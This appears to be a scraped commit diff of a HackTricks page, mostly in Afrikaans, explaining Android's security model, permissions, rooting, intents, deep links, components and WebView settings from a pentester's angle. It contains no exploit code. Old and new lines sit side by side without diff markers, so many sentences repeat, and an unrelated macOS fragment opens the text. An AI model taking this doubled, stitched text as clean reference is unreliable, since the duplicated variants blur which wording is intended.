* **Standaard gebruiker:** Die mees basiese van gebruikers. Hierdie gebruiker benodig toestemmings wat van 'n admin-gebruiker toegestaan word wanneer hy probeer om sagteware te installeer of ander gevorderde take uit te voer. Hulle kan dit nie op hul eie doen nie.
* **Admin-gebruiker**: 'n Gebruiker wat die meeste van die tyd as 'n standaard gebruiker werk, maar ook toegelaat word om root aksies uit te voer soos om sagteware te installeer en ander administratiewe take. Alle gebruikers wat tot die admin-groep behoort, **word toegang tot root gegee via die sudoers-lêer**.
* **Root**: Root is 'n gebruiker wat toegelaat word om byna enige aksie uit te voer (daar is beperkings wat deur beskermings soos Stelselintegriteitsbeskerming opgelê word).
* Byvoorbeeld, root sal nie in staat wees om 'n lêer binne `/System` te plaas nie.
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,42 +15,34 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Android Sekuriteitsmodel
## Android Security Model
**Daar is twee lae:**
* Die **OS**, wat geïnstalleerde toepassings van mekaar isoleer.
* Die **toepassing self**, wat ontwikkelaars toelaat om **sekere funksies bloot te stel** en toepassingsvermoëns te konfigureer.
### UID Skeiding
### UID Separation
**Elke toepassing word aan 'n spesifieke Gebruiker ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy Gebruiker ID behoort of gedeelde** lêers kan kommunikeer. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê.
**Elke toepassing word aan 'n spesifieke gebruikers-ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy gebruikers-ID behoort of gedeelde** lêers kan kommunikeer. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê.
### UID Deel
### UID Sharing
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van beide toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadpleeg** word.\
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van albei toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadsaam** word.\
**Om dieselfde UID te deel, moet toepassings dieselfde `android:sharedUserId` waarde in hul manifes definieer.**
### Sandboxing
Die **Android Toepassing Sandbox** laat toe om **elke toepassing** as 'n **afsonderlike proses onder 'n afsonderlike gebruiker ID** te laat loop. Elke proses het sy eie virtuele masjien, sodat 'n app se kode in isolasie van ander apps loop.\
Die **Android Toepassing Sandbox** laat toe om **elke toepassing** as 'n **afsonderlike proses onder 'n afsonderlike gebruikers-ID** te laat loop. Elke proses het sy eie virtuele masjien, sodat 'n app se kode in isolasie van ander apps loop.\
Vanaf Android 5.0(L) word **SELinux** afgedwing. Basies het SELinux alle prosesinteraksies ontken en toe beleide geskep om **slegs die verwagte interaksies tussen hulle toe te laat**.
### Toestemmings
### Permissions
Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een gespesifiseer.\
Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies vir toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.**
Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **name** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een gespesifiseer.\
Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies om toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.**
Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs apps wat 'n gespesifiseerde toestemming het**.\
'n Toestemmingselement het drie attribuut:
'n Toestemmingselement het drie attribiete:
* Die **naam** van die toestemming
* Die **permission-group** attribuut, wat toelaat om verwante toestemmings te groepeer.
@ -58,20 +50,20 @@ Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs
* **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die app is nie. Die gebruiker is **nie verplig om dit goed te keur nie**.
* **Gevaarlik**: Dui aan dat die toestemming die aansoekende toepassing 'n paar **verhoogde toegang** gee. **Gebruikers word gevra om dit goed te keur**.
* **Handtekening**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, kan toestemming ontvang. Dit is die sterkste tipe beskerming.
* **HandtekeningOfStelsel**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer of **apps wat met stelselniveau toegang loop**, kan toestemming ontvang.
* **HandtekeningOfStelsel**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer of **apps wat met stelselniveau toegang loop** kan toestemming ontvang.
## Vooraf Geïnstalleerde Toepassings
## Pre-Installed Applications
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidsen gevind en sommige van hulle is **geoptimaliseer** (jy mag nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** directories gevind en sommige van hulle is **geoptimaliseer** (jy mag nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
* Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** verskaf word
* Bygevoeg deur die toestel **vervaardiger**
* Bygevoeg deur die toestel **fabrikant**
* Bygevoeg deur die sel **foonverskaffer** (as dit van hulle gekoop is)
## Rooting
Om worteltoegang tot 'n fisiese android toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede** **ontgin** wat gewoonlik **spesifiek** vir die **toestel** en **weergawe** is.\
Sodra die ontginning gewerk het, word gewoonlik die Linux `su` binêre na 'n plek gekopieer wat in die gebruiker se PATH omgewingsveranderlike gespesifiseer is, soos `/system/xbin`.
Sodra die ontginning gewerk het, word gewoonlik die Linux `su` binêre na 'n plek gekopieer wat in die gebruiker se PATH omgewing veranderlike soos `/system/xbin` gespesifiseer is.
Sodra die su binêre geconfigureer is, word 'n ander Android app gebruik om met die `su` binêre te kommunikeer en **versoeke vir worteltoegang te verwerk** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play winkel).
@ -82,15 +74,15 @@ Let daarop dat die rooting proses baie gevaarlik is en die toestel ernstig kan b
### ROMs
Dit is moontlik om die **OS te vervang deur 'n pasgemaakte firmware te installeer**. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te verkry.\
**OmniROM** en **LineageOS** is twee van die gewildste firmwares om te gebruik.
**OmniROM** en **LineageOS** is twee van die gewildste firmware om te gebruik.
Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaakte firmware te installeer nie. **Sommige vervaardigers laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
Let daarop dat **dit nie altyd nodig is om die toestel te root nie** om 'n pasgemaakte firmware te installeer. **Sommige vervaardigers laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
### Gevolge
### Implications
Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwillige toepassing dit kry, kan dit toegang tot byna alles hê en dit sal in staat wees om die foon te beskadig.
## Android Toepassing Fundamentele <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Die formaat van Android toepassings word verwys na as _APK lêerformaat_. Dit is essensieel 'n **ZIP lêer** (deur die lêer uitbreiding na .zip te hernoem, kan die inhoud onttrek en gesien word).
- APK Inhoud (Nie uitputtend nie)
@ -103,19 +95,19 @@ Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwil
- **classes.dex**
- Bevat Dalvik bytecode, wat die gecompileerde Java (of Kotlin) kode verteenwoordig wat die toepassing standaard uitvoer.
- lib/
- Huisves inheemse biblioteke, gesegregeer volgens CPU argitektuur in subgidse.
- Huisves inheemse biblioteke, gesegregeer volgens CPU argitektuur in subdirectories.
- `armeabi`: kode vir ARM-gebaseerde verwerkers
- `armeabi-v7a`: kode vir ARMv7 en hoër gebaseerde verwerkers
- `x86`: kode vir X86 verwerkers
- `mips`: kode vir slegs MIPS verwerkers
- assets/
- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur malware outeurs gebruik om addisionele kode te verberg.
- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige skrywers gebruik om addisionele kode te verberg.
- res/
- Bevat hulpbronne wat nie in resources.arsc gecompileer is nie.
### **Dalvik & Smali**
In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaar apps te gebruik, compileer Android hierdie kode in **Dalvik Executable (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes.
In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in desktop apps te gebruik, compileer Android hierdie kode in **Dalvik Executable (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes.
Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike leesbare weergawe van DEX bytecode, wat soos assembly taal optree deur bronkode in bytecode instruksies te vertaal. Smali en baksmali verwys na die samestelling en ontbinding gereedskap in hierdie konteks.
@ -123,10 +115,10 @@ Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike l
Intents is die primêre middel waardeur Android apps tussen hul komponente of met ander apps kommunikeer. Hierdie boodskapobjekte kan ook data tussen apps of komponente dra, soortgelyk aan hoe GET/POST versoeke in HTTP kommunikasies gebruik word.
So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig word** na spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\
So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig** word aan spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\
Om dit eenvoudig te stel, kan Intent gebruik word:
* Om 'n Aktiwiteit te begin, tipies 'n gebruikerskoppelvlak vir 'n app te open
* Om 'n Aktiwiteit te begin, tipies om 'n gebruikerskoppelvlak vir 'n app te open
* As uitsendings om die stelsel en apps van veranderinge in kennis te stel
* Om 'n agtergronddiens te begin, stop, en kommunikeer
* Om toegang tot data via ContentProviders te verkry
@ -136,13 +128,13 @@ As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voe
### Intent-Filter
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsend Ontvanger met verskillende tipes Intents kan kommunikeer**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsend Ontvangers te kodeer.
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsendingsontvanger met verskillende tipes Intents kan kommunikeer**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsendingsontvangers te kodeer.
Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat by die verklaarde kriteria pas.
'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoudverskaffers/uitsend ontvangers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps kommunikeer as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps kommunikeer nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies te stel.
'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoudverskaffers/uitsendingsontvangers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps kommunikeer as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps kommunikeer nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies te stel.
Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan kommunikeer, toevoeg.
Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie daarmee kan kommunikeer, toevoeg.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -167,7 +159,7 @@ Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbe
```
'n intent-filter moet die **aksie**, **data** en **kategorie** ooreenstem om 'n boodskap te ontvang.
Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit eienskap**, wat in die i**ntent-filter verklaring** gestel kan word, en t**een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "chooser" venster sodat die **gebruiker kan besluit**.
Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit eienskap**, wat in die i**ntent-filter verklaring** gestel kan word, en t**een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "choser" venster sodat die **gebruiker kan besluit**.
### Expliciete Intents
@ -183,11 +175,11 @@ context.startService(intent);
```
### Pending Intents
Hierdie laat ander toepassings toe om **aksies namens jou toepassing te neem**, met jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word** gespesifiseer word. As die **verklaarde intent nie Eksplisiet** is (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen.
Hierdie laat ander toepassings toe om **aksies namens jou toepassing te neem**, met jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet daar **'n intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen.
### Broadcast Intents
Anders as die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. egter, vanaf API weergawe 14, is dit **moontlik om die app wat die boodskap moet ontvang** te spesifiseer met behulp van Intent.set Package.
Anders as die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. egter, vanaf API weergawe 14, is dit **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.set Package.
Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die broadcast gestuur word**. Die ontvangende app sal daardie toestemming moet hê.
@ -198,7 +190,7 @@ Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** g
### Sticky Broadcasts
Hierdie soort Uitsendings **kan lank nadat hulle gestuur is, toeganklik wees**.\
Hierdie tipe Uitsendings **kan lank nadat hulle gestuur is, toeganklik wees**.\
Hierdie is in API vlak 21 verouderd en dit word aanbeveel om **nie hulle te gebruik nie**.\
**Hulle laat enige toepassing toe om die data te snuffel, maar ook om dit te wysig.**
@ -206,7 +198,7 @@ As jy funksies vind wat die woord "sticky" bevat soos **`sendStickyBroadcast`**
## Deep links / URL schemes
In Android-toepassings, **deep links** word gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om 'n **URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai.
In Android toepassings, **deep links** word gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android toestel probeer om **'n URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai.
Die skema moet in die **`AndroidManifest.xml`** lêer verklaar word:
```xml
@ -235,7 +227,7 @@ Om dit vanaf 'n web te benader, is dit moontlik om 'n skakel soos:
```
Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**.
Leer hoe om [deeplinks aan te roep sonder om HTML-bladsye te gebruik](./#exploiting-schemes-deep-links).
Leer hoe om [deeplinks te bel sonder om HTML-bladsye te gebruik](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
@ -243,7 +235,7 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie
### Sleutelkonsepte
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in soek na kwesbaarhede.
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede.
- **Messenger**: As 'n gekoppelde diens, fasiliteer Messenger IPC met 'n fokus op die verwerking van data deur die `onBind` metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies.
@ -253,11 +245,11 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie
Hierdie sluit in: **Aktiwiteite, Dienste, Uitsendingsontvangers en Verskaffers.**
### Laaier Aktiwiteit en ander aktiwiteite
### Laaieraktiwiteit en ander aktiwiteite
In Android-toepassings is **aktiwiteite** soos skerms, wat verskillende dele van die app se gebruikerskoppelvlak vertoon. 'n App kan baie aktiwiteite hê, elkeen wat 'n unieke skerm aan die gebruiker aanbied.
Die **laaier aktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents:
Die **laaieraktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -268,7 +260,7 @@ Die **laaier aktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wa
```
Nie alle toepassings benodig 'n lanseeraktiwiteit nie, veral dié sonder 'n gebruikerskoppelvlak, soos agtergronddienste.
Aktiwiteite kan beskikbaar gestel word aan ander toepassings of prosesse deur dit as "geëksporteer" in die manifest te merk. Hierdie instelling laat ander toepassings toe om hierdie aktiwiteit te begin:
Aktiwiteite kan beskikbaar gestel word aan ander toepassings of prosesse deur dit as "geëksporteer" in die manifes te merk. Hierdie instelling laat ander toepassings toe om hierdie aktiwiteit te begin:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -298,7 +290,7 @@ super.onCreate();
[Dienste](https://developer.android.com/guide/components/services) is **agtergrond operasies** wat in staat is om take uit te voer sonder 'n gebruikerskoppelvlak. Hierdie take kan voortgaan om te loop selfs wanneer gebruikers na verskillende toepassings oorskakel, wat dienste noodsaaklik maak vir **langdurige operasies**.
Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **Intents** as die primêre metode om hulle as 'n toepassing se toegangspunt te begin. Sodra 'n diens begin is met die `startService` metode, begin sy `onStart` metode werk en hou aan totdat die `stopService` metode eksplisiet aangeroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode aktiveer vir dataverskuiwing.
Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **Intents** as die primêre metode om hulle as 'n toepassing se toegangspunt te begin. Sodra 'n diens begin is met die `startService` metode, begin sy `onStart` metode en hou aan om te loop totdat die `stopService` metode eksplisiet aangeroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode aktiveer vir dataversending.
'n Interessante toepassing van dienste sluit agtergrondmusiekafspeel of netwerkdata-ophaal in sonder om die gebruiker se interaksie met 'n toepassing te hindern. Boonop kan dienste beskikbaar gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die standaardgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
```xml
@ -310,17 +302,17 @@ Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **I
**Intent filters** is van kardinale belang in beide registrasiewyse, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing.
Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van gestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriseer om 'n uitsending te onderskep.
Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van gestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep.
Om 'n ontvanger se funksionaliteit te verstaan, soek die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangde Intent manipuleer, wat die behoefte aan datavalidatie deur ontvangers beklemtoon, veral in **Ordered Broadcasts**, wat die Intent kan wysig of laat val.
Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangde Intent manipuleer, wat die behoefte aan datavalidatie deur ontvangers beklemtoon, veral in **Ordered Broadcasts**, wat die Intent kan wysig of laat val.
### Content Provider
**Content Providers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels, of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer.
**Content Providers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels, of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangsbeheer.
Invoervalidasie is van kardinale belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Content Providers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer.
**FileProvider**, 'n gespesialiseerde Content Provider, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar vouers gedeel word om te verhoed dat sensitiewe data per ongeluk blootgestel word.
**FileProvider**, 'n gespesialiseerde Content Provider, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar vouers gedeel word om te voorkom dat sensitiewe data per ongeluk blootgestel word.
Voorbeeld manifest verklaring vir FileProvider:
```xml
@ -359,8 +351,8 @@ Die JavaScript "Bridge" laat Java-objekte toe om met JavaScript te kommunikeer,
Om toegang tot inhoud toe te laat (````setAllowContentAccess(true)````) laat WebViews toe om toegang te verkry tot Content Providers, wat 'n risiko kan wees tensy die inhoud URL's as veilig geverifieer word.
Om lêertoegang te beheer:
- Deaktiveer lêertoegang (````setAllowFileAccess(false)````) beperk toegang tot die lêerstelsel, met uitsonderings vir sekere bates, wat verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
Om lêer toegang te beheer:
